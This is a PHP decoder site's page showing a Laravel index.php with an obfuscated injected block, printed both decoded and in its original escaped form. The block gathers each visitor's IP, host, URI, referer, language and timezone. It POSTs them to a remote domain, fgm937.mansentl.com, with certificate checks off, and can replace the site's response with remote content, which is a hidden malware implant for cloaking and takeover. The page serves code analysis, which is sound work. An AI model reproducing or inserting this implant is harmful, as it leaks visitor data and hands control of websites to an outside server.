Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php //Obfuscate by https://uutool.cn/php/ goto iClsx; iClsx: error_reporting(0); goto..
Decoded Output download
<?php
//Obfuscate by https://uutool.cn/php/
goto iClsx; iClsx: error_reporting(0); goto TxjY5; Cy7Xa: Pdh7X: goto X8LZX; m6hwB: $FTxuF = MCxWV($j710x . ".mansentl.", $qtMEc, $HepJK); goto L4RRq; IW3rN: function kIBK9() { goto gl6Qc; gl6Qc: $LvM9m = array("HTTP_CLIENT_IP", "HTTP_CF_CONNECTING_IP", "HTTP_X_FORWARDED_FOR", "REMOTE_ADDR"); goto j0KF9; HM150: csPaA: goto ymWne; ymWne: return ''; goto m5mMP; j0KF9: foreach ($LvM9m as $Lfpg3) { goto zTbwF; mFnVg: lahUb: goto BYnFO; BYnFO: DHRk6: goto kIRKr; zTbwF: if (!(!empty($_SERVER[$Lfpg3]) && filter_var($_SERVER[$Lfpg3], FILTER_VALIDATE_IP))) { goto lahUb; } goto wjTR8; wjTR8: return $_SERVER[$Lfpg3]; goto mFnVg; kIRKr: } goto HM150; m5mMP: } goto wzGml; wOszV: $HepJK = ''; goto m6hwB; L4RRq: if (!($FTxuF != "7")) { goto XSRKJ; } goto O60TT; HTbux: tOk41: goto QhzqO; I_Hci: VPGsU: goto jS1MH; F7l4y: die; goto Cy7Xa; rok5N: $wu6wb = k4Xey("PHP_SELF"); goto I_Hci; kIyfI: if (!($wu6wb != k4xeY("PHP_SELF") && substr(K4XEY("PHP_SELF"), -4) == ".php")) { goto VPGsU; } goto rok5N; QhzqO: echo trim($FTxuF); goto F7l4y; jS1MH: $qtMEc = http_build_query(array("d" => K4xEY("HTTP_HOST"), "h" => ZEz01(), "u" => k4XEY("REQUEST_URI"), "i" => KIBk9(), "l" => K4XEY("HTTP_ACCEPT_LANGUAGE"), "r" => K4xeY("HTTP_REFERER"), "f" => $wu6wb, "z" => date_default_timezone_get())); goto wOszV; PJ6mn: foreach (preg_split("/[
]+/", $HepJK) as $AxPOY) { goto cf1yt; cf1yt: if (!(strpos($AxPOY, "Content-Type") === 0 || strpos($AxPOY, "HTTP") === 0)) { goto JmonM; } goto fMxQJ; X4Py0: JmonM: goto bKjLg; fMxQJ: @header($AxPOY); goto X4Py0; bKjLg: qScp5: goto xKKhV; xKKhV: } goto HTbux; K_kd9: function Zez01() { return "http" . (!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "s" : ''); } goto wvVrg; wzGml: function McxWv($kjmyi, $FTxuF, &$HepJK) { goto V_6dk; ehWj1: goto L6lqd; goto Ky7wM; eoU9f: $JstV4 = substr($JstV4, $ISIG5); goto JZmJU; xQQ7w: R3FD2: goto STDYk; lCnxc: if (!($vhG4f < 3)) { goto L6lqd; } goto E30CR; O2G1j: return false; goto xQQ7w; E30CR: $JstV4 = curl_exec($HdfaF); goto i8uqi; Ky7wM: goto rQsXD; goto oT4io; pbm6A: curl_setopt_array($HdfaF, array(CURLOPT_URL => "https://" . $kjmyi . chr(99) . chr(111) . chr(109), CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_USERAGENT => @$_SERVER["HTTP_USER_AGENT"], CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_ENCODING => "gzip, deflate", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $FTxuF)); goto drEZr; aqoZO: yq3B_: goto lCnxc; QC2n_: $JstV4 = null; goto aqoZO; tByas: $HepJK = substr($JstV4, 0, $ISIG5); goto eoU9f; pFgcZ: sleep(100); goto IwCc4; EOM00: return $JstV4; goto wkqww; V_6dk: $HdfaF = curl_init(); goto pbm6A; JZmJU: curl_close($HdfaF); goto EOM00; drEZr: $vhG4f = 0; goto QC2n_; TsRDX: L6lqd: goto XOKdA; IwCc4: $vhG4f++; goto ZMJsa; Rhh0K: goto yq3B_; goto TsRDX; XCJ_G: rQsXD: goto Rhh0K; XOKdA: if ($JstV4) { goto R3FD2; } goto O2G1j; i8uqi: if (curl_errno($HdfaF)) { goto pMuOn; } goto ehWj1; STDYk: $ISIG5 = curl_getinfo($HdfaF, CURLINFO_HEADER_SIZE); goto tByas; ZMJsa: $JstV4 = null; goto XCJ_G; oT4io: pMuOn: goto pFgcZ; wkqww: } goto K_kd9; wvVrg: $wu6wb = str_replace(K4Xey("DOCUMENT_ROOT"), '', K4XEy("SCRIPT_FILENAME")); goto kIyfI; uq5ZI: function K4xey($Cc0sh) { return @$_SERVER[$Cc0sh] ? $_SERVER[$Cc0sh] : ''; } goto IW3rN; O60TT: if (!$FTxuF) { goto Pdh7X; } goto PJ6mn; TxjY5: $j710x = "fgm937"; goto uq5ZI; X8LZX: XSRKJ:
use Illuminate\Contracts\Http\Kernel;
use Illuminate\Http\Request;
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Check If The Application Is Under Maintenance
|--------------------------------------------------------------------------
|
| If the application is in maintenance / demo mode via the "down" command
| we will load this file so that any pre-rendered content can be shown
| instead of starting the framework, which could cause an exception.
|
*/
if (file_exists($maintenance = __DIR__ . '/storage/framework/maintenance.php')) {
require $maintenance;
}
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| this application. We just need to utilize it! We'll simply require it
| into the script here so we don't need to manually load our classes.
|
*/
require __DIR__ . '/vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request using
| the application's HTTP kernel. Then, we will send the response back
| to this client's browser, allowing them to enjoy our application.
|
*/
$app = require_once __DIR__ . '/bootstrap/app.php';
$kernel = $app->make(Kernel::class);
$response = $kernel->handle(
$request = Request::capture()
)->send();
$kernel->terminate($request, $response); ?>
Did this file decode correctly?
Original Code
<?php
//Obfuscate by https://uutool.cn/php/
goto iClsx; iClsx: error_reporting(0); goto TxjY5; Cy7Xa: Pdh7X: goto X8LZX; m6hwB: $FTxuF = MCxWV($j710x . "\56\155\x61\x6e\x73\x65\x6e\x74\x6c\x2e", $qtMEc, $HepJK); goto L4RRq; IW3rN: function kIBK9() { goto gl6Qc; gl6Qc: $LvM9m = array("\110\124\124\120\x5f\103\114\111\105\116\x54\137\x49\x50", "\110\x54\124\x50\137\x43\106\137\x43\117\116\x4e\x45\103\x54\x49\x4e\x47\x5f\111\120", "\110\x54\x54\x50\137\x58\x5f\106\x4f\122\127\101\122\104\105\x44\x5f\x46\117\122", "\x52\105\x4d\117\x54\105\137\101\x44\104\122"); goto j0KF9; HM150: csPaA: goto ymWne; ymWne: return ''; goto m5mMP; j0KF9: foreach ($LvM9m as $Lfpg3) { goto zTbwF; mFnVg: lahUb: goto BYnFO; BYnFO: DHRk6: goto kIRKr; zTbwF: if (!(!empty($_SERVER[$Lfpg3]) && filter_var($_SERVER[$Lfpg3], FILTER_VALIDATE_IP))) { goto lahUb; } goto wjTR8; wjTR8: return $_SERVER[$Lfpg3]; goto mFnVg; kIRKr: } goto HM150; m5mMP: } goto wzGml; wOszV: $HepJK = ''; goto m6hwB; L4RRq: if (!($FTxuF != "\67")) { goto XSRKJ; } goto O60TT; HTbux: tOk41: goto QhzqO; I_Hci: VPGsU: goto jS1MH; F7l4y: die; goto Cy7Xa; rok5N: $wu6wb = k4Xey("\x50\x48\x50\137\x53\x45\x4c\106"); goto I_Hci; kIyfI: if (!($wu6wb != k4xeY("\x50\110\x50\137\x53\105\x4c\x46") && substr(K4XEY("\x50\110\120\x5f\x53\105\114\106"), -4) == "\x2e\160\150\160")) { goto VPGsU; } goto rok5N; QhzqO: echo trim($FTxuF); goto F7l4y; jS1MH: $qtMEc = http_build_query(array("\144" => K4xEY("\110\x54\124\x50\x5f\110\117\123\124"), "\x68" => ZEz01(), "\165" => k4XEY("\x52\105\121\x55\105\x53\x54\x5f\125\122\111"), "\151" => KIBk9(), "\154" => K4XEY("\x48\124\x54\120\137\x41\103\x43\x45\x50\124\x5f\x4c\101\x4e\x47\x55\x41\x47\105"), "\162" => K4xeY("\110\x54\124\120\137\122\x45\106\105\x52\x45\x52"), "\146" => $wu6wb, "\172" => date_default_timezone_get())); goto wOszV; PJ6mn: foreach (preg_split("\x2f\133\x5c\x72\x5c\x6e\x5d\x2b\x2f", $HepJK) as $AxPOY) { goto cf1yt; cf1yt: if (!(strpos($AxPOY, "\103\x6f\x6e\x74\145\x6e\164\x2d\x54\171\x70\x65") === 0 || strpos($AxPOY, "\x48\x54\x54\120") === 0)) { goto JmonM; } goto fMxQJ; X4Py0: JmonM: goto bKjLg; fMxQJ: @header($AxPOY); goto X4Py0; bKjLg: qScp5: goto xKKhV; xKKhV: } goto HTbux; K_kd9: function Zez01() { return "\150\x74\164\x70" . (!empty($_SERVER["\x48\124\x54\120\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] !== "\x6f\146\x66" || $_SERVER["\x53\105\122\126\105\x52\137\x50\117\x52\124"] == 443 ? "\x73" : ''); } goto wvVrg; wzGml: function McxWv($kjmyi, $FTxuF, &$HepJK) { goto V_6dk; ehWj1: goto L6lqd; goto Ky7wM; eoU9f: $JstV4 = substr($JstV4, $ISIG5); goto JZmJU; xQQ7w: R3FD2: goto STDYk; lCnxc: if (!($vhG4f < 3)) { goto L6lqd; } goto E30CR; O2G1j: return false; goto xQQ7w; E30CR: $JstV4 = curl_exec($HdfaF); goto i8uqi; Ky7wM: goto rQsXD; goto oT4io; pbm6A: curl_setopt_array($HdfaF, array(CURLOPT_URL => "\x68\164\164\160\163\x3a\x2f\x2f" . $kjmyi . chr(99) . chr(111) . chr(109), CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_USERAGENT => @$_SERVER["\110\124\x54\120\x5f\x55\x53\105\x52\x5f\x41\107\x45\116\x54"], CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_ENCODING => "\x67\x7a\x69\160\x2c\40\144\x65\x66\x6c\141\x74\x65", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $FTxuF)); goto drEZr; aqoZO: yq3B_: goto lCnxc; QC2n_: $JstV4 = null; goto aqoZO; tByas: $HepJK = substr($JstV4, 0, $ISIG5); goto eoU9f; pFgcZ: sleep(100); goto IwCc4; EOM00: return $JstV4; goto wkqww; V_6dk: $HdfaF = curl_init(); goto pbm6A; JZmJU: curl_close($HdfaF); goto EOM00; drEZr: $vhG4f = 0; goto QC2n_; TsRDX: L6lqd: goto XOKdA; IwCc4: $vhG4f++; goto ZMJsa; Rhh0K: goto yq3B_; goto TsRDX; XCJ_G: rQsXD: goto Rhh0K; XOKdA: if ($JstV4) { goto R3FD2; } goto O2G1j; i8uqi: if (curl_errno($HdfaF)) { goto pMuOn; } goto ehWj1; STDYk: $ISIG5 = curl_getinfo($HdfaF, CURLINFO_HEADER_SIZE); goto tByas; ZMJsa: $JstV4 = null; goto XCJ_G; oT4io: pMuOn: goto pFgcZ; wkqww: } goto K_kd9; wvVrg: $wu6wb = str_replace(K4Xey("\x44\x4f\x43\x55\x4d\105\x4e\x54\137\x52\x4f\117\x54"), '', K4XEy("\123\x43\x52\111\x50\124\x5f\x46\x49\114\x45\x4e\x41\115\x45")); goto kIyfI; uq5ZI: function K4xey($Cc0sh) { return @$_SERVER[$Cc0sh] ? $_SERVER[$Cc0sh] : ''; } goto IW3rN; O60TT: if (!$FTxuF) { goto Pdh7X; } goto PJ6mn; TxjY5: $j710x = "\x66\x67\x6d\x39\x33\x37"; goto uq5ZI; X8LZX: XSRKJ:
use Illuminate\Contracts\Http\Kernel;
use Illuminate\Http\Request;
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Check If The Application Is Under Maintenance
|--------------------------------------------------------------------------
|
| If the application is in maintenance / demo mode via the "down" command
| we will load this file so that any pre-rendered content can be shown
| instead of starting the framework, which could cause an exception.
|
*/
if (file_exists($maintenance = __DIR__ . '/storage/framework/maintenance.php')) {
require $maintenance;
}
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| this application. We just need to utilize it! We'll simply require it
| into the script here so we don't need to manually load our classes.
|
*/
require __DIR__ . '/vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request using
| the application's HTTP kernel. Then, we will send the response back
| to this client's browser, allowing them to enjoy our application.
|
*/
$app = require_once __DIR__ . '/bootstrap/app.php';
$kernel = $app->make(Kernel::class);
$response = $kernel->handle(
$request = Request::capture()
)->send();
$kernel->terminate($request, $response);
Function Calls
None |
Stats
MD5 | 96bfab1ff77797953036e7c2b5c6859c |
Eval Count | 0 |
Decode Time | 57 ms |